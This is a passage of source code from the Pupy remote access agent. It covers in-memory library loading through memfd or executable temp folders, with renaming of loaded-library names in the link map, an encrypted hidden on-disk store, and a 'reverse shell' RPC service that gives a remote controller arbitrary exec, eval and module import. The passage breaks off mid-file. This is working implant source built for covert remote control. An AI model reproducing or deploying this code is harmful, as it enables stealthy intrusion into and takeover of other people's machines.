    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('load_content',)\n\n\nimport os\nimport ctypes\n\nfrom io import open\n\nfrom pupy.agent._linux_memfd import (\n    memfd_is_supported, memfd_create\n)\n\nfrom .utils import (\n    load_library_common, find_writable_folder\n)\n\nfrom .posix import _does_dest_allows_executable_mappings\n\n\nTMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp']\nRTLD_DI_LINKMAP = 2\n\nSELF = ctypes.CDLL(None)\n\ntry:\n    dlinfo = SELF.dlinfo\n    dlinfo.argtypes = (\n        ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p\n    )\n\nexcept AttributeError:\n    dlinfo = None\n\nstrdup = SELF.strdup\nstrdup.argtype = [ctypes.c_char_p]\nstrdup.restype = ctypes.c_char_p\n\n\ntry:\n    for mount in open('/proc/self/mounts'):\n        _, dest, fstype, opts, _, _ = mount.split()\n        opts = tuple(opts.split(','))\n        if 'noexec' in opts or 'ro' in opts:\n            continue\n\n        if 'tmpfs' in fstype and dest not in TMP_FOLDERS:\n            TMP_FOLDERS.insert(0, dest)\n\nexcept OSError:\n    pass\n\n\nclass LibName(ctypes.Structure):\n    _fields_ = (\n        ('l_name', ctypes.c_char_p),\n        ('next', ctypes.c_void_p),\n        ('dont_free', ctypes.c_int)\n    )\n\n\nclass DlMapPrivate(ctypes.Structure):\n    _fields_ = (\n        ('l_addr', ctypes.c_void_p),\n        ('l_name', ctypes.c_char_p),\n        ('l_ld', ctypes.c_void_p),\n        ('l_next', ctypes.c_void_p),\n        ('l_prev', ctypes.c_void_p),\n        ('l_real', ctypes.c_void_p),\n        ('l_ns', ctypes.c_long),\n        ('l_libname', ctypes.POINTER(LibName)),\n    )\n\n\ndef _change_dlname(lib, new_name):\n    lm = ctypes.POINTER(DlMapPrivate)()\n    if dlinfo(lib._handle, RTLD_DI_LINKMAP, ctypes.byref(lm)) != 0:\n        raise ValueError('dlinfo({}) failed'.format(lib._handle))\n\n    load_path = lib._name.encode('utf8')\n    lib_name = os.path.basename(load_path)\n\n    if lm.contents.l_ns != 0:\n        raise ValueError('dlinfo: unexpected LMID: {}'.format(lm.contents.l_ns))\n\n    if lm.contents.l_libname.contents.l_name != lib_name and \\\n            lm.contents.l_libname.contents.l_name != load_path:\n        raise ValueError('dlinfo: unexpected library name: {} != {} (or {})'.format(\n            lm.contents.l_libname.contents.l_name, lib_name, load_path))\n\n    lm.contents.l_name = strdup(new_name)\n    lm.contents.l_libname.contents.l_name = strdup(new_name)\n\n\nif dlinfo is not None and memfd_is_supported():\n    def load_content(content, name, dlopen=False, initfuncname=None):\n        fd, filepath = memfd_create()\n        try:\n            return load_library_common(\n                fd, filepath, content, name, dlopen, initfuncname,\n                _change_dlname\n            )\n        finally:\n            fd.close()\n\nelse:\n    import tempfile\n\n    DROP_DIR = find_writable_folder(\n        TMP_FOLDERS, validate=_does_dest_allows_executable_mappings\n    )\n\n    def load_content(content, name, dlopen=False, initfuncname=None):\n        fd, filepath = tempfile.mkstemp(dir=DROP_DIR)\n        fobj = os.fdopen(fd, 'wb')\n        try:\n            return load_library_common(\n                fobj, filepath, content, name, dlopen, initfuncname\n            )\n        finally:\n            os.unlink(filepath)\n            fobj.close()\n"
  },
  {
    "path": "pupy/agent/memimporter/posix.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    '_does_dest_allows_executable_mappings',\n    'load_content'\n)\n\n\nfrom os import unlink, fdopen\nfrom tempfile import mkstemp\nfrom mmap import mmap, PROT_WRITE\ntry:\n    from mmap import PROT_EXEC\nexcept:\n    #mmap from rustc is missing PROT_EXEC ??\n    PROT_EXEC=4\n\nimport pupy.agent as pupy\n\nfrom .utils import load_library_common, find_writable_folder\n\n\ndef _does_dest_allows_executable_mappings(folder):\n    try:\n        fd, tmp_file = mkstemp(prefix='.so', dir=folder)\n    except OSError as e:\n        pupy.dprint('Folder {} is not accessible: {}', folder, e)\n        return False\n\n    try:\n        fileobj = fdopen(fd, 'wb')\n        fileobj.truncate(4096)\n        mapping = mmap(fileobj.fileno(), 4096, prot=PROT_WRITE | PROT_EXEC)\n        mapping.close()\n        pupy.dprint('Folder {} does allows executables', folder)\n        return True\n\n    except IOError as e:\n        pupy.dprint('Exception during mmap {}', e)\n        return False\n\n    except OSError as e:\n        pupy.dprint('Folder {} does not allow executables: {}', folder, e)\n        return False\n\n    finally:\n        try:\n            unlink(tmp_file)\n        except OSError:\n            pass\n\n\nDROP_DIR = find_writable_folder(\n    ['/tmp', '/var/tmp'],\n    validate=_does_dest_allows_executable_mappings\n)\n\n\ndef load_content(content, name, dlopen=False, initfuncname=None):\n    fd, filepath = mkstemp(dir=DROP_DIR)\n    try:\n        return load_library_common(\n            fd, filepath, content, name, dlopen, initfuncname\n        )\n    finally:\n        unlink(filepath)\n        fd.close()\n"
  },
  {
    "path": "pupy/agent/memimporter/utils.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'package_context', 'find_writable_folder',\n    'load_library_common', '_Py_PackageContext'\n)\n\nimport sys\nimport importlib.util as imputil\nif \"rustc\" not in sys.version:\n    import ctypes\nelse:\n    ctypes=None\n\nfrom os import path\nfrom tempfile import gettempdir\n\nimport pupy.agent\n\n_Py_PackageContext = None\n\n\n\"\"\"\ntry:\n    _Py_PackageContext = ctypes.c_char_p.in_dll(\n            ctypes.pythonapi, '_Py_PackageContext')\nexcept ValueError:\n    pupy.agent.dprint('_Py_PackageContext not found in pythonapi')\n\"\"\"\n\nclass package_context(object):\n\n    __slots__ = ('name', 'previous')\n\n    def __init__(self, name):\n        self.name = name\n        self.previous = None\n\n    def __enter__(self):\n        if _Py_PackageContext is None:\n            raise ValueError('_Py_PackageContext is not available')\n\n        self.previous = _Py_PackageContext.value\n        _Py_PackageContext.value = self.name\n\n    def __exit__(self, exc_type, exc_value, exc_traceback):\n        _Py_PackageContext.value = self.previous\n        self.previous = None\n\n\ndef find_writable_folder(folders, validate=None):\n    default_tmp = gettempdir()\n    temporary_folders = tuple(folders)\n\n    if default_tmp not in temporary_folders:\n        temporary_folders += (default_tmp,)\n\n    pupy.agent.dprint(\n        'find_writable_folder: possible folders: {}',\n        temporary_folders\n    )\n\n    for folder in temporary_folders:\n        if not path.isdir(folder):\n            continue\n\n        if validate is None:\n            return folder\n\n        if validate(folder):\n            return folder\n\n    pupy.agent.dprint(\n        'find_writable_folder: no folders found'\n    )\n\n\ndef load_library_common(\n    fd, filepath, content, name,\n        dlopen=False, initfuncname=None, post_load_hook=None,\n        close=False):\n\n    r = fd.write(content)\n\n    if close:\n        fd.close()\n    else:\n        fd.flush()\n\n    pupy.agent.dprint('load_library_common: Written {} to {}@{}: {} (closed={})'.format(\n        len(content), name, filepath, r, close))\n\n    if dlopen:\n        handle = ctypes.CDLL(filepath)\n        if post_load_hook:\n            post_load_hook(handle, name)\n\n        return handle\n\n    if name.endswith(('.so', '.dll', '.pyd')):\n        name = name.rsplit('.', 1)[0]\n\n    module_name = name.split('.', 1)[-1]\n\n    if initfuncname is None:\n        initfuncname = 'PyInit_' + module_name.split(\"/\")[-1]\n\n    # use ExtensionFileLoader with memfd\n    module_name = module_name.split(\"/\")[-1]\n    pupy.agent.dprint(\"loading {} with init {}\", module_name, initfuncname)\n\n    import importlib.machinery\n    loader = importlib.machinery.ExtensionFileLoader(module_name, filepath)\n    spec = importlib.machinery.ModuleSpec(name=module_name, loader=loader, origin=filepath)\n    x=importlib._bootstrap._load(spec)\n    pupy.agent.dprint(\n        'load_dynamic({}, {}) -> {}', module_name, filepath, x)\n    return x\n\n    # this code does not work properly ?\n    \"\"\" \n    try:\n        lib = ctypes.PyDLL(filepath)\n        pupy.agent.dprint('load_library_common: Library loaded: {}', lib)\n    except Exception as e:\n        pupy.agent.dprint('load_library_common: failed to load library {}: {}', name, e)\n        lib = ctypes.CDLL(filepath)\n        pupy.agent.dprint('load_library_common: Library loaded: {} (fallback CDLL)', lib)\n\n    if post_load_hook:\n        post_load_hook(lib, name)\n\n    initfunc = getattr(lib, initfuncname, None)\n\n    if initfunc:\n        class PyModuleDef(ctypes.Structure):\n            _fields_ = [\n                (\"m_base\", ctypes.c_char_p),\n                (\"pfunc\", ctypes.c_void_p),\n            ]\n        #initfunc.restypes = [ctypes.py_object]\n        initfunc.restypes = [ctypes.POINTER(PyModuleDef)]\n        initfunc.argtypes = []\n        pupy.agent.dprint('load_library_common: init found: {}', initfuncname)\n        #TODO: importlib.machinery.ExtensionFileLoader ??\n        _PyImport_FixupExtensionObject = ctypes.pythonapi._PyImport_FixupExtensionObject\n        _PyImport_FixupExtensionObject.argtypes=[ctypes.py_object, ctypes.py_object, ctypes.py_object, ctypes.py_object]\n        _PyImport_FixupExtensionObject.restypes=[ctypes.c_int]\n\n        PyImport_GetModuleDict = ctypes.pythonapi.PyImport_GetModuleDict\n        PyImport_GetModuleDict.restypes = [ctypes.py_object]\n        PyImport_GetModuleDict.argtypes = []\n\n        PyUnicode_FromString = ctypes.pythonapi.PyUnicode_FromString\n        PyUnicode_FromString.restypes = [ctypes.py_object]\n        PyUnicode_FromString.argtypes = [ctypes.c_char_p]\n\n\n        PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef\n        PyModule_GetDef.argtypes = [ctypes.py_object]\n        PyModule_GetDef.restypes = [ctypes.POINTER(PyModuleDef)]\n\n\n        #TODO : check if it's a def with PyModule_GetDef\n        # https://docs.python.org/3/extending/building.html\n\n        with package_context(module_name.encode('utf8')):\n            pupy.agent.dprint(\n                'load_library_common: call init {}@{}', initfuncname, module_name\n            )\n            m_ptr = initfunc()\n            pupy.agent.dprint(\n                'load_library_common: call init {}@{} - complete',\n                initfuncname, module_name\n            )\n            pupy.agent.dprint('PyInit result: {}', m_ptr)\n\n            #d = PyModule_GetDef(m_ptr)\n            #pupy.agent.dprint('PyModule_GetDef result: {}', d)\n\n            PyModuleDef_Init = ctypes.pythonapi.PyModuleDef_Init\n            PyModuleDef_Init.restypes = [ctypes.py_object]\n            PyModuleDef_Init.argtypes = [ctypes.py_object]\n\n            PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef\n            PyModule_GetDef.argtypes = [ctypes.py_object]\n            PyModule_GetDef.restypes = [ctypes.py_object]\n\n            defmod = PyModuleDef_Init(m_ptr)\n            pupy.agent.dprint('PyModuleDef_Init called: %s'%defmod)\n\n            if defmod:\n                PyModule_FromDefAndSpec = ctypes.pythonapi.PyModule_FromDefAndSpec2\n                PyModule_FromDefAndSpec.argtypes = [ctypes.py_object, ctypes.py_object, ctypes.c_int]\n                PyModule_FromDefAndSpec.restype = ctypes.py_object\n                PyModule_ExecDef = ctypes.pythonapi.PyModule_ExecDef\n                PyModule_ExecDef.argtypes = [ctypes.py_object, ctypes.c_void_p]\n                PyModule_ExecDef.restypes = [ctypes.c_int]\n                PyModule_GetState = ctypes.pythonapi.PyModule_GetState\n                PyModule_GetState.argtypes = [ctypes.py_object]\n                PyModule_GetState.restypes = [ctypes.c_void_p]\n\n                import _imp\n                import importlib.machinery\n                spec = imputil.spec_from_loader(module_name, loader=None)\n                pupy.agent.dprint('spec: {}', spec)\n                module = _imp.create_dynamic(spec)#PyModule_FromDefAndSpec(defmod, spec, 1013)\n                pupy.agent.dprint('PyModule_FromDefAndSpec2 result: {}', module)\n\n                #    somehow, this is crashing ?? skiping this, not sure if it might cause issues\n                _imp.exec_dynamic(module)\n                #d=PyModule_GetDef(module)\n                #s=PyModule_GetState(module)\n                #pupy.agent.dprint('def: {} state: {}', d, s)\n                #if not s:\n                #    pupy.agent.dprint(\"executing PyModule_ExecDef ...\")\n                #    PyModule_ExecDef(module, d)\n                #    pass\n\n                pupy.agent.dprint('returning module !')\n                return module\n\n            name_ptr = PyUnicode_FromString(module_name.encode('utf8'))\n            path_ptr = PyUnicode_FromString(module_name.encode('utf8'))\n\n            modules_ptr = PyImport_GetModuleDict()\n            res = _PyImport_FixupExtensionObject(m_ptr, name_ptr, path_ptr, modules_ptr)\n            pupy.agent.dprint(\"result: _PyImport_FixupExtensionObject {}\", res)\n            if res < 0:\n                raise ImportError(\"load_library_common: _PyImport_FixupExtensionObject failed\")\n    \"\"\"\n    \n\n\n\n    return __import__(module_name)\n"
  },
  {
    "path": "pupy/agent/memimporter/win32.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'load_content',\n)\n\n\nfrom tempfile import mkstemp\nfrom os import unlink, fdopen\nfrom errno import EACCES\n\nimport pupy.agent as pupy\n\nfrom .utils import load_library_common, find_writable_folder\n\n\ndef _does_dest_allows_executable_mappings(folder):\n    try:\n        fd, tmp_file = mkstemp(\n            suffix='.pyd', dir=folder)\n    except OSError as e:\n        pupy.dprint('Folder {} is not accessible: {}', folder, e)\n        return False\n\n    try:\n        unlink(tmp_file)\n    except OSError as e:\n        pupy.dprint('Could not delete temporary file: {}', tmp_file, e)\n        pass\n\n    return True\n\n\nDROP_DIR = find_writable_folder(\n    ['/tmp', '/var/tmp'],\n    validate=_does_dest_allows_executable_mappings\n)\n\n\ndef load_content(content, name, dlopen=False, initfuncname=None):\n    fd, filepath = mkstemp(suffix='.pyd', dir=DROP_DIR)\n    fobj = fdopen(fd, 'wb')\n    try:\n        return load_library_common(\n            fobj, filepath, content, name, dlopen, initfuncname,\n            close=True\n        )\n    finally:\n        try:\n            unlink(filepath)\n        except WindowsError as e:\n            if e.errno == EACCES:\n                pass\n"
  },
  {
    "path": "pupy/agent/pstore.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('PStore',)\n\nimport hashlib\nimport uuid\nimport os\nimport sys\nimport struct\n\nif sys.version_info.major > 2:\n    import pickle\nelse:\n    import cPickle as pickle\n\nimport pupy.agent\n\nfrom io import open\n\nfrom pupy.network.lib.transports.cryptoutils import (\n    NewAESCipher, append_PKCS7_padding,\n    strip_PKCS7_padding\n)\n\n\nclass PStore(object):\n\n    __slots__ = (\n        '_pstore_path', '_pstore_key', '_pstore'\n    )\n\n    def __init__(self, pstore_dir='~'):\n        try:\n            import getpass\n            uid = getpass.getuser()\n        except:\n            if hasattr(os, 'getuid'):\n                uid = os.getuid()\n            else:\n                uid = ''\n\n        if not isinstance(uid, bytes):\n            uid = uid.encode('latin1')\n\n        seed = uid + b':' + struct.pack(\n            '<Q', uuid.getnode()\n        )\n\n        h = hashlib.sha1()\n        h.update(seed)\n\n        if os.name == 'posix':\n            if pstore_dir == '~':\n                pstore_dir = os.path.join(pstore_dir, '.cache')\n            pstore_name = '.{}'.format(h.hexdigest())\n        else:\n            if pstore_dir == '~':\n                pstore_dir = os.path.join(\n                    pstore_dir, 'AppData', 'Local', 'Temp'\n                )\n            pstore_name = h.hexdigest()\n\n        self._pstore_path = os.path.expanduser(\n            os.path.join(pstore_dir, pstore_name)\n        )\n\n        h = hashlib.sha1()\n        h.update(b'password' + seed)\n\n        self._pstore_key = (\n            h.digest()[:16], b'\\x00'*16\n        )\n        self._pstore = {}\n\n        self.load()\n\n    def __getitem__(self, key):\n        if issubclass(type(key), object):\n            key = type(key).__name__\n        return self._pstore.get(key)\n\n    def __setitem__(self, key, value):\n        if issubclass(type(key), object):\n            key = type(key).__name__\n        self._pstore[key] = value\n\n    def load(self):\n        if not os.path.exists(self._pstore_path):\n            return\n\n        data = None\n        try:\n            with open(self._pstore_path, 'rb') as pstore:\n                data = pstore.read()\n\n            try:\n                os.unlink(self._pstore_path)\n            except:\n                agent.remote_error('Pstore (load)')\n\n            if not data:\n                return\n\n            data = NewAESCipher(*self._pstore_key).decrypt(data)\n            data = strip_PKCS7_padding(data)\n            data = pickle.loads(data)\n        except:\n            agent.remote_error('Pstore (load)')\n            return\n\n        if type(data) == dict:\n            self._pstore.update(data)\n\n    def store(self):\n        if not self._pstore:\n            return\n\n        pstore_dir = os.path.dirname(self._pstore_path)\n        try:\n            if not os.path.isdir(pstore_dir):\n                os.makedirs(pstore_dir)\n\n            with open(self._pstore_path, 'w+b') as pstore:\n                data = pickle.dumps(self._pstore)\n                data = append_PKCS7_padding(data)\n                data = NewAESCipher(*self._pstore_key).encrypt(data)\n                pstore.write(data)\n\n        except:\n            agent.remote_error('Pstore (store)')\n            return\n"
  },
  {
    "path": "pupy/agent/psutil_hacks.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\n\n\nif sys.platform == 'win32' and sys.version_info.major < 3:\n    def apply_psutil_hacks():\n        try:\n            import psutil\n        except ImportError:\n            return\n\n        psutil._pswindows.py2_strencode = lambda x: x\n\nelse:\n    def apply_psutil_hacks():\n        pass\n"
  },
  {
    "path": "pupy/agent/service.py",
    "content": "# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# ---------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nimport threading\nimport os\nimport json\nimport random\nimport zlib\nimport time\n\nfrom pupy.network import conf\nfrom pupy.network.lib.base_launcher import LauncherError\nfrom pupy.network.lib.connection import PupyConnection\nfrom pupy.network.lib.streams.PupySocketStream import PupyChannel\nfrom pupy.network.lib.buffer import Buffer\nfrom pupy.network.lib.msgtypes import MSG_TYPES_PACK\nfrom pupy.network.lib.rpc.core.service import Service, ModuleNamespace\nfrom pupy.network.lib.compat import execute, with_metaclass, as_native_string\n\nimport umsgpack\n\nimport pupy.agent as agent\n\nif sys.version_info.major > 2:\n    xrange = range\n    builtin = 'builtins'\nelse:\n    builtin = '__builtin__'\n\nREVERSE_SLAVE_CONF = dict(\n    allow_all_attrs=True,\n    allow_public_attrs=True,\n    allow_pickle=True,\n    allow_getattr=True,\n    allow_setattr=True,\n    allow_delattr=True,\n    import_custom_exceptions=False,\n    propagate_SystemExit_locally=True,\n    propagate_KeyboardInterrupt_locally=True,\n    instantiate_custom_exceptions=True,\n    instantiate_oldstyle_exceptions=True,\n)\n\n\nclass Namespace(dict):\n    pass\n\n\nclass Cleanups(list):\n    pass\n\n\nlogger = agent.get_logger('service')\n_all = as_native_string('*')\n\n\ndef _import(name):\n    return __import__(\n        as_native_string(name),\n        None, None, (_all,)\n    )\n\n\nclass UpdatableModuleNamespace(ModuleNamespace):\n    __slots__ = ()\n\n    def __invalidate__(self, name):\n        cache = self._ModuleNamespace__cache\n        if name in cache:\n            del cache[name]\n\n    def __getitem__(self, name):\n        return super(UpdatableModuleNamespace, self).__getitem__(name)\n\n    exposed___getitem__ = __getitem__\n\n    def __getattr__(self, name):\n        if name.startswith('___'):\n            if __debug__:\n                logger.debug('Access UpdatableModuleNamespace.%s - deny', name)\n\n            raise AttributeError(name)\n        elif name.startswith('exposed_'):\n            if __debug__:\n                logger.debug(\n                    'Access UpdatableModuleNamespace.%s - '\n                    'fix invalid exposed_', name\n                )\n\n            name = name[8:]\n\n        name = as_native_string(name)\n\n        try:\n            result = super(UpdatableModuleNamespace, self).__getattr__(name)\n        except AttributeError:\n            if __debug__:\n                logger.debug(\n                    'Access UpdatableModuleNamespace.%s -> not found', name\n                )\n\n            raise\n\n        if __debug__:\n            logger.debug(\n                'Access UpdatableModuleNamespace.%s -> %s', name, result\n            )\n\n        return result\n\n\nclass ReverseSlaveService(Service):\n    \"\"\" Pupy reverse shell rpyc service \"\"\"\n\n    __slots__ = (\n        'exposed_namespace', 'exposed_cleanups', 'client'\n    )\n\n    def __init__(self, conn):\n        self.exposed_namespace = Namespace()\n        self.exposed_cleanups = Cleanups()\n\n        super(ReverseSlaveService, self).__init__(conn)\n\n    def on_connect(self):\n        self.exposed_namespace = Namespace()\n        self.exposed_cleanups = Cleanups()\n        self._conn._config.update(REVERSE_SLAVE_CONF)\n\n        pupyimporter = __import__('pupyimporter')\n        is_purepy = sys.purepy\n        self._conn.root.initialize_v2(\n            1, (\n                sys.version_info.major,\n                sys.version_info.minor\n            ),\n            self.exposed_namespace,\n            agent.namespace,\n            __import__(builtin),\n            self.exposed_register_cleanup,\n            self.exposed_unregister_cleanup,\n            self.exposed_exit,\n            self.exposed_eval,\n            self.exposed_execute,\n            self.exposed_get_infos(),\n            tuple(sys.modules),\n            tuple(pupyimporter.modules),\n            pupyimporter,\n            {\n                function: getattr(pupyimporter, function)\n                for function in dir(pupyimporter)\n                if hasattr(getattr(pupyimporter, function), '__call__')\n            },\n            is_purepy\n        )\n\n    def on_disconnect(self):\n        try:\n            if self.client.terminated:\n                return\n\n            for cleanup in self.exposed_cleanups:\n                try:\n                    cleanup()\n                except Exception as e:\n                    agent.remote_error('Disconnect/cleanup: {}', e)\n\n            self.exposed_cleanups = []\n\n        finally:\n            try:\n                self._conn.close()\n            except Exception as e:\n                agent.remote_error('Disconnect/close: {}', e)\n\n            if os.name == 'posix':\n                try:\n                    for _ in xrange(1024):\n                        if not os.waitpid(-1, os.WNOHANG):\n                            break\n\n                except OSError:\n                    pass\n\n    def exposed_exit(self):\n        logger.debug('TERMINATION REQUEST')\n\n        if agent.manager:\n            logger.debug('Send termination event to all tasks')\n            agent.manager.event(agent.manager.TERMINATE)\n\n        if self._conn:\n            self._conn.close()\n\n        if self.client:\n            self.client.terminate()\n        else:\n            logger.warning('Client not set, termination status was not set')\n\n        for thread in threading.enumerate():\n            if not thread.daemon:\n                logger.debug('Non daemon thread: %s', thread)\n\n    def exposed_register_cleanup(self, method):\n        self.exposed_cleanups.append(method)\n\n    def exposed_unregister_cleanup(self, method):\n        self.exposed_cleanups.remove(method)\n\n    def exposed_execute(self, text):\n        \"\"\"execute arbitrary code (using ``exec``)\"\"\"\n        try:\n            execute(text, self.exposed_namespace)\n        except Exception as e:\n            logger.debug(\n                'Execute failed: arg type=%s arg=%s: %s',\n                type(text), text, e\n            )\n\n            raise\n\n    def exposed_get_infos(self, s=None):\n        if not s:\n            infos = {}\n\n            if self.client:\n                infos.update(self.client.iteritems())\n                infos['launcher'] = self.client.launcher\n\n            debug, debug_file = agent.get_debug()\n\n            infos.update({\n                'debug': debug,\n                'debug_logfile': debug_file,\n                'revision': agent.revision,\n                'native': agent.is_native()\n            })\n\n            return infos\n\n        return self.client[s]\n\n    def exposed_eval(self, text):\n        \"\"\"evaluate arbitrary code (using ``eval``)\"\"\"\n        return eval(text, self.exposed_namespace)\n\n    def exposed_getmodule(self, name):\n        \"\"\"imports an arbitrary module\"\"\"\n        return _import(name)\n\n    def exposed_obtain_call(self, function, packed_args):\n        if packed_args is not None:\n            packed_args = zlib.decompress(packed_args)\n            args, kwargs = umsgpack.loads(packed_args)\n        else:\n            args, kwargs = [], {}\n\n        result = function(*args, **kwargs)\n\n        packed_result = umsgpack.dumps(result)\n        packed_result = zlib.compress(packed_result)\n\n        return packed_result\n\n    def exposed_msgpack_dumps(self, obj, compressed=False):\n        data = Buffer(compressed=compressed)\n        umsgpack.dump(obj, data)\n        data.flush()\n        return data\n\n    def exposed_json_dumps(self, obj, compressed=False):\n        try:\n            data = json.dumps(obj, ensure_ascii=False)\n        except:\n            try:\n                import locale\n                data = json.dumps(\n                    obj,\n                    ensure_ascii=False,\n                    encoding=locale.getpreferredencoding()\n                )\n            except:\n                data = json.dumps(\n                    obj,\n                    ensure_ascii=False,\n                    encoding='latin1'\n                )\n\n        if compressed:\n            if not isinstance(data, bytes):\n                data = data.encode('utf-8')\n\n            data = zlib.compress(data)\n\n        return data\n\n    def exposed_getconn(self):\n        \"\"\"returns the local connection instance to the other side\"\"\"\n        return self._conn\n\n\nclass BindSlaveService(ReverseSlaveService):\n\n    def on_connect(self):\n        agent.dprint('Bind service: on_connect called')\n\n        try:\n            from pupy_credentials import BIND_PAYLOADS_PASSWORD\n            password = BIND_PAYLOADS_PASSWORD\n\n            agent.dprint('Expected password: {}', repr(password))\n\n        except ImportError:\n            from pupy.pupylib.PupyCredentials import Credentials\n            credentials = Credentials()\n            password = credentials['BIND_PAYLOADS_PASSWORD']\n\n            agent.dprint('Expected password: {} (fallback)', repr(password))\n\n        remote_password = self._conn.root.get_password()\n\n        agent.dprint('Remote password: {}', remote_password)\n\n        if remote_password != password:\n            self._conn.close()\n            raise KeyboardInterrupt(\"wrong password\")\n\n        super(BindSlaveService, self).on_connect()\n\n\nclass PupyClient(object):\n    __slots__ = (\n        'cid', 'delays',\n        '_launcher', 'launcher_args', 'terminated',\n        'connection_info', '_connection', '_attempt',\n        '_bind_service', '_connect_service', '_custom_info',\n        '_broadcast_event'\n    )\n\n    def __init__(self, cid, launcher, launcher_args, delays):\n        self.cid = cid\n        self._launcher = launcher\n        self.launcher_args = launcher_args\n        self.delays = delays\n        self.terminated = False\n        self._attempt = 0\n        self._custom_info = {}\n        self._broadcast_event = None\n\n        class client_initializer(type):\n            __slots__ = ()\n\n            def __init__(cls, *args, **kwargs):\n                super(client_initializer, cls).__init__(*args, **kwargs)\n                cls.client = self\n\n        class WrappedBindSlaveService(\n                with_metaclass(client_initializer, BindSlaveService)):\n            pass\n\n        class WrappedReverseSlaveService(\n                with_metaclass(client_initializer, ReverseSlaveService)):\n            pass\n\n        self._bind_service = WrappedBindSlaveService\n        self._connect_service = WrappedReverseSlaveService\n\n        self.reset_connection_info()\n\n    def set_broadcast_event(self, callback):\n        self._broadcast_event = callback\n\n    def broadcast_event(self, eventid, *args, **kwargs):\n        if self._connection:\n            logger.debug(\n                'Pupy connected: broadcast event via connection. EventId = %08x',\n                eventid)\n\n            try:\n                self._connection.root.broadcast_event(eventid, *args, **kwargs)\n                return\n            except Exception as e:\n                logger.exception(e)\n\n        if self._broadcast_event:\n            logger.debug(\n                'Pupy is not connected, but broadcast_event defined (%s). EventId = %08x',\n                agent.broadcast_event, eventid)\n\n            try:\n                self._broadcast_event(eventid, *args, **kwargs)\n                logger.debug('Pupy connected: broadcast completed')\n                return\n            except Exception as e:\n                logger.exception(e)\n\n        logger.debug(\n            'No way to report event. EventId = %08x', eventid)\n\n    def set_connection_info(self, connection):\n        self.connection_info = {\n            'hostname': self._launcher.hostname,\n            'host': self._launcher.host,\n            'port': self._launcher.port,\n            'proxies': self._launcher.proxies,\n            'transport': self._launcher.transport\n        }\n\n        self._connection = connection\n\n    def reset_connection_info(self):\n        self.connection_info = {}\n        self._connection = None\n\n    def terminate(self):\n        self.terminated = True\n        if self._connection:\n            try:\n                self._connection.close()\n            except EOFError:\n                pass\n\n    def __getitem__(self, key):\n        if key.startswith('_'):\n            return\n\n        if key in PupyClient.__slots__:\n            return getattr(self, key)\n\n        if key in self._custom_info:\n            return self._custom_info[key]\n\n    @property\n    def connected(self):\n        if not self._connection:\n            return False\n\n        return True\n\n    @property\n    def launcher(self):\n        return self._launcher.name\n\n    def set_info(self, key, value):\n        if key in PupyClient.__slots__:\n            setattr(self, key, value)\n            agent.dprint('set client info {}: {}', key, value)\n            return\n\n        self._custom_info[key] = value\n        agent.dprint('set custom info {}: {}', key, value)\n\n    def unset_info(self, key):\n        if key in PupyClient.__slots__:\n            setattr(self, key, None)\n            agent.dprint('unset client info {}', key)\n            return\n\n        try:\n            del self._custom_info[key]\n            agent.dprint('unset custom info {}', key)\n        except KeyError:\n            pass\n\n    def iteritems(self):\n        for key in PupyClient.__slots__:\n            if key.startswith('_'):\n                continue\n\n            yield key, getattr(self, key)\n\n        for key in self._custom_info:\n            yield key, self._custom_info[key]\n\n    def _get_next_wait(self):\n        for conf_attempt, delay_min, delay_max in self.delays:\n            if conf_attempt == -1 or self._attempt < conf_attempt:\n                return random.randint(delay_min, delay_max)\n\n        return random.randint(150, 300)\n\n    def _iterate_launcher(self):\n        stream 